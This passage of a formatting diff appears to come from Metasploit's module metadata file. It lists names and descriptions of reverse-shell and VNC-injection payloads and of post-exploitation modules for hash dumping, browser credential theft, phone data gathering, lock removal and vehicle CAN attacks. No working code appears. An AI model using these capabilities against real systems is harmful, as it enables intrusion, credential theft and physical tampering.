"Windows Interactive Powershell Session, Reverse TCP", "fullname": "payload/windows/x64/powershell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262439,8 +233466,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -262449,9 +233475,7 @@ "payload_windows/x64/powershell_reverse_tcp_ssl": { "name": "Windows Interactive Powershell Session, Reverse TCP SSL", "fullname": "payload/windows/x64/powershell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262477,8 +233501,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -262487,9 +233510,7 @@ "payload_windows/x64/shell/bind_ipv6_tcp": { "name": "Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/windows/x64/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262497,9 +233518,7 @@ "sf " ], "description": "Spawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -262513,8 +233532,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262525,9 +233543,7 @@ "payload_windows/x64/shell/bind_ipv6_tcp_uuid": { "name": "Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/windows/x64/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262536,9 +233552,7 @@ "OJ Reeves" ], "description": "Spawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -262552,8 +233566,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262564,9 +233577,7 @@ "payload_windows/x64/shell/bind_named_pipe": { "name": "Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", "fullname": "payload/windows/x64/shell/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262575,9 +233586,7 @@ "UserExistsError" ], "description": "Spawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -262591,8 +233600,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262603,9 +233611,7 @@ "payload_windows/x64/shell/bind_tcp": { "name": "Windows x64 Command Shell, Windows x64 Bind TCP Stager", "fullname": "payload/windows/x64/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262613,9 +233619,7 @@ "sf " ], "description": "Spawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -262629,8 +233633,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262641,9 +233644,7 @@ "payload_windows/x64/shell/bind_tcp_rc4": { "name": "Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/x64/shell/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262656,9 +233657,7 @@ "RageLtMan" ], "description": "Spawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -262672,8 +233671,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262684,9 +233682,7 @@ "payload_windows/x64/shell/bind_tcp_uuid": { "name": "Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/windows/x64/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262695,9 +233691,7 @@ "OJ Reeves" ], "description": "Spawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -262711,8 +233705,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262723,9 +233716,7 @@ "payload_windows/x64/shell/reverse_tcp": { "name": "Windows x64 Command Shell, Windows x64 Reverse TCP Stager", "fullname": "payload/windows/x64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262733,9 +233724,7 @@ "sf " ], "description": "Spawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -262749,8 +233738,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262761,9 +233749,7 @@ "payload_windows/x64/shell/reverse_tcp_rc4": { "name": "Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/x64/shell/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262776,9 +233762,7 @@ "RageLtMan" ], "description": "Spawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -262792,8 +233776,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262804,9 +233787,7 @@ "payload_windows/x64/shell/reverse_tcp_uuid": { "name": "Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/windows/x64/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262815,9 +233796,7 @@ "OJ Reeves" ], "description": "Spawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -262831,8 +233810,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262843,9 +233821,7 @@ "payload_windows/x64/shell_bind_tcp": { "name": "Windows x64 Command Shell, Bind TCP Inline", "fullname": "payload/windows/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262853,9 +233829,7 @@ "sf " ], "description": "Listen for a connection and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -262869,8 +233843,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -262879,9 +233852,7 @@ "payload_windows/x64/shell_reverse_tcp": { "name": "Windows x64 Command Shell, Reverse TCP Inline", "fullname": "payload/windows/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262889,9 +233860,7 @@ "sf " ], "description": "Connect back to attacker and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -262905,8 +233874,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -262915,9 +233883,7 @@ "payload_windows/x64/vncinject/bind_ipv6_tcp": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/windows/x64/vncinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262942,8 +233908,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262954,9 +233919,7 @@ "payload_windows/x64/vncinject/bind_ipv6_tcp_uuid": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/windows/x64/vncinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262982,8 +233945,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262994,9 +233956,7 @@ "payload_windows/x64/vncinject/bind_named_pipe": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager", "fullname": "payload/windows/x64/vncinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263022,8 +233982,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263034,9 +233993,7 @@ "payload_windows/x64/vncinject/bind_tcp": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager", "fullname": "payload/windows/x64/vncinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263061,8 +234018,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263073,9 +234029,7 @@ "payload_windows/x64/vncinject/bind_tcp_rc4": { "name": "Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/x64/vncinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263105,8 +234059,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263117,9 +234070,7 @@ "payload_windows/x64/vncinject/bind_tcp_uuid": { "name": "Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/windows/x64/vncinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263145,8 +234096,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263157,9 +234107,7 @@ "payload_windows/x64/vncinject/reverse_http": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/windows/x64/vncinject/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263185,8 +234133,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263197,9 +234144,7 @@ "payload_windows/x64/vncinject/reverse_https": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/windows/x64/vncinject/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263227,8 +234172,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263239,9 +234183,7 @@ "payload_windows/x64/vncinject/reverse_tcp": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager", "fullname": "payload/windows/x64/vncinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263266,8 +234208,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263278,9 +234219,7 @@ "payload_windows/x64/vncinject/reverse_tcp_rc4": { "name": "Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/x64/vncinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263310,8 +234249,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263322,9 +234260,7 @@ "payload_windows/x64/vncinject/reverse_tcp_uuid": { "name": "Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/windows/x64/vncinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263350,8 +234286,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263362,9 +234297,7 @@ "payload_windows/x64/vncinject/reverse_winhttp": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/windows/x64/vncinject/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263390,8 +234323,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263402,9 +234334,7 @@ "payload_windows/x64/vncinject/reverse_winhttps": { "name": "Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/windows/x64/vncinject/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -263430,8 +234360,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -263442,9 +234371,7 @@ "post_aix/hashdump": { "name": "AIX Gather Dump Password Hashes", "fullname": "post/aix/hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -263452,9 +234379,7 @@ "theLightCosine " ], "description": "Post Module to dump the password hashes for all users on an AIX System", - "references": [ - - ], + "references": [], "platform": "AIX", "arch": "", "rport": null, @@ -263468,22 +234393,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_android/capture/screen": { "name": "Android Screen Capture", "fullname": "post/android/capture/screen", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -263491,9 +234411,7 @@ "timwr" ], "description": "This module takes a screenshot of the target phone.", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "", "rport": null, @@ -263507,23 +234425,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_android/gather/sub_info": { "name": "extracts subscriber info from target device", "fullname": "post/android/gather/sub_info", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -263531,9 +234444,7 @@ "Auxilus" ], "description": "This module displays the subscriber info stored on the target phone.\n It uses call service to get values of each transaction code like imei etc.", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "", "rport": null, @@ -263547,23 +234458,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_android/gather/wireless_ap": { "name": "Displays wireless SSIDs and PSKs", "fullname": "post/android/gather/wireless_ap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -263572,9 +234478,7 @@ "timwr" ], "description": "This module displays all wireless AP creds saved on the target device.", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "", "rport": null, @@ -263588,23 +234492,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_android/local/koffee": { "name": "KOFFEE - Kia OFFensivE Exploit", "fullname": "post/android/local/koffee", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-12-02", "type": "post", @@ -263639,9 +234538,7 @@ "config-changes", "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter" @@ -263733,9 +234630,7 @@ "post_android/manage/remove_lock": { "name": "Android Settings Remove Device Locks (4.0-4.3)", "fullname": "post/android/manage/remove_lock", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-10-11", "type": "post", @@ -263762,23 +234657,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_android/manage/remove_lock_root": { "name": "Android Root Remove Device Locks (root)", "fullname": "post/android/manage/remove_lock_root", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -263786,9 +234676,7 @@ "timwr" ], "description": "This module uses root privileges to remove the device lock.\n In some cases the original lock method will still be present but any key/gesture will\n unlock the device.", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "", "rport": null, @@ -263802,23 +234690,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_apple_ios/gather/ios_image_gather": { "name": "iOS Image Gatherer", "fullname": "post/apple_ios/gather/ios_image_gather", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -263826,9 +234709,7 @@ "Shelby Pace" ], "description": "This module collects images from iPhones.\n Module was tested on iOS 10.3.3 on an iPhone 5.", - "references": [ - - ], + "references": [], "platform": "Apple_iOS", "arch": "", "rport": null, @@ -263842,22 +234723,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_apple_ios/gather/ios_text_gather": { "name": "iOS Text Gatherer", "fullname": "post/apple_ios/gather/ios_text_gather", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -263865,9 +234741,7 @@ "Shelby Pace" ], "description": "This module collects text messages from iPhones.\n Tested on iOS 10.3.3 on an iPhone 5.", - "references": [ - - ], + "references": [], "platform": "Apple_iOS", "arch": "", "rport": null, @@ -263881,22 +234755,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_bsd/gather/hashdump": { "name": "BSD Dump Password Hashes", "fullname": "post/bsd/gather/hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -263904,9 +234773,7 @@ "bcoles " ], "description": "Post module to dump the password hashes for all users on a BSD system.", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "", "rport": null, @@ -263920,23 +234787,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_firefox/gather/cookies": { "name": "Firefox Gather Cookies from Privileged Javascript Shell", "fullname": "post/firefox/gather/cookies", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-03-26", "type": "post", @@ -263944,9 +234806,7 @@ "joev " ], "description": "This module allows collection of cookies from a Firefox Privileged Javascript Shell.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, @@ -263960,22 +234820,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, - "session_types": [ - - ], + "notes": {}, + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_firefox/gather/history": { "name": "Firefox Gather History from Privileged Javascript Shell", "fullname": "post/firefox/gather/history", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-04-11", "type": "post", @@ -263983,9 +234836,7 @@ "joev " ], "description": "This module allows collection of the entire browser history from a Firefox\n Privileged Javascript Shell.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, @@ -263999,22 +234850,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, - "session_types": [ - - ], + "notes": {}, + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_firefox/gather/passwords": { "name": "Firefox Gather Passwords from Privileged Javascript Shell", "fullname": "post/firefox/gather/passwords", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-04-11", "type": "post", @@ -264022,9 +234866,7 @@ "joev " ], "description": "This module allows collection of passwords from a Firefox Privileged Javascript Shell.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, @@ -264038,22 +234880,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, - "session_types": [ - - ], + "notes": {}, + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_firefox/gather/xss": { "name": "Firefox XSS", "fullname": "post/firefox/gather/xss", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264061,9 +234896,7 @@ "joev " ], "description": "This module runs the provided SCRIPT as javascript in the\n origin of the provided URL. It works by navigating to a hidden\n ChromeWindow to the URL, then injecting the SCRIPT with Function().\n The callback \"send(result)\" is used to send data back to the listener.", - "references": [ - - ], + "references": [], "platform": "Firefox", "arch": "", "rport": null, @@ -264077,22 +234910,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, - "session_types": [ - - ], + "notes": {}, + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_firefox/manage/webcam_chat": { "name": "Firefox Webcam Chat on Privileged Javascript Shell", "fullname": "post/firefox/manage/webcam_chat", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-05-13", "type": "post", @@ -264116,22 +234942,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, - "session_types": [ - - ], + "notes": {}, + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/automotive/can_flood": { "name": "CAN Flood", "fullname": "post/hardware/automotive/can_flood", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264139,9 +234958,7 @@ "Pietro Biondi" ], "description": "This module floods a CAN interface with supplied frames.", - "references": [ - - ], + "references": [], "platform": "Hardware", "arch": "", "rport": null, @@ -264155,22 +234972,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/automotive/canprobe": { "name": "Module to Probe Different Data Points in a CAN Packet", "fullname": "post/hardware/automotive/canprobe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264178,9 +234990,7 @@ "Craig Smith" ], "description": "Scans between two CAN IDs and writes data at each byte position. It will\n either write a set byte value (Default 0xFF) or iterate through all possible values\n of that byte position (takes much longer). Does not check for responses and is\n basically a simple blind fuzzer.", - "references": [ - - ], + "references": [], "platform": "Hardware", "arch": "", "rport": null, @@ -264194,22 +235004,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/automotive/diagnostic_state": { "name": "Diagnostic State", "fullname": "post/hardware/automotive/diagnostic_state", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264217,9 +235022,7 @@ "Jay Turla" ], "description": "This module will keep the vehicle in a diagnostic state on rounds by sending tester present packet", - "references": [ - - ], + "references": [], "platform": "Hardware", "arch": "", "rport": null, @@ -264240,24 +235043,18 @@ "SideEffects": [ "physical-effects" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/automotive/ecu_hard_reset": { "name": "ECU Hard Reset", "fullname": "post/hardware/automotive/ecu_hard_reset", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264265,9 +235062,7 @@ "Jay Turla" ], "description": "This module performs hard reset in the ECU Reset Service Identifier (0x11)", - "references": [ - - ], + "references": [], "platform": "Hardware", "arch": "", "rport": null, @@ -264288,24 +235083,18 @@ "SideEffects": [ "physical-effects" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/automotive/getvinfo": { "name": "Get the Vehicle Information Such as the VIN from the Target Module", "fullname": "post/hardware/automotive/getvinfo", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264313,9 +235102,7 @@ "Craig Smith" ], "description": "Post Module to query DTCs, Some common engine info and Vehicle Info.\n It returns such things as engine speed, coolant temp, Diagnostic\n Trouble Codes as well as All info stored by Mode $09 Vehicle Info, VIN, etc", - "references": [ - - ], + "references": [], "platform": "Hardware", "arch": "", "rport": null, @@ -264329,22 +235116,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/automotive/identifymodules": { "name": "Scan CAN Bus for Diagnostic Modules", "fullname": "post/hardware/automotive/identifymodules", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264352,9 +235134,7 @@ "Craig Smith" ], "description": "Post Module to scan the CAN bus for any modules that can respond to UDS DSC queries", - "references": [ - - ], + "references": [], "platform": "Hardware", "arch": "", "rport": null, @@ -264368,22 +235148,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/automotive/malibu_overheat": { "name": "Sample Module to Flood Temp Gauge on 2006 Malibu", "fullname": "post/hardware/automotive/malibu_overheat", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264391,9 +235166,7 @@ "Craig Smith" ], "description": "Simple sample temp flood for the 2006 Malibu", - "references": [ - - ], + "references": [], "platform": "Hardware", "arch": "", "rport": null, @@ -264407,22 +235180,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/automotive/mazda_ic_mover": { "name": "Mazda 2 Instrument Cluster Accelorometer Mover", "fullname": "post/hardware/automotive/mazda_ic_mover", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264430,9 +235198,7 @@ "Jay Turla" ], "description": "This module moves the needle of the accelorometer and speedometer of the Mazda 2 instrument cluster", - "references": [ - - ], + "references": [], "platform": "Hardware", "arch": "", "rport": null, @@ -264446,22 +235212,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/automotive/pdt": { "name": "Check For and Prep the Pyrotechnic Devices (Airbags, Battery Clamps, etc.)", "fullname": "post/hardware/automotive/pdt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264488,22 +235249,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/rftransceiver/rfpwnon": { "name": "Brute Force AM/OOK (ie: Garage Doors)", "fullname": "post/hardware/rftransceiver/rfpwnon", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264511,9 +235267,7 @@ "Craig Smith" ], "description": "Post Module for HWBridge RFTranscievers. Brute forces AM OOK or raw\n binary signals. This is a port of the rfpwnon tool by Corey Harding.\n (https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py)", - "references": [ - - ], + "references": [], "platform": "Hardware", "arch": "", "rport": null, @@ -264527,22 +235281,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/rftransceiver/transmitter": { "name": "RF Transceiver Transmitter", "fullname": "post/hardware/rftransceiver/transmitter", 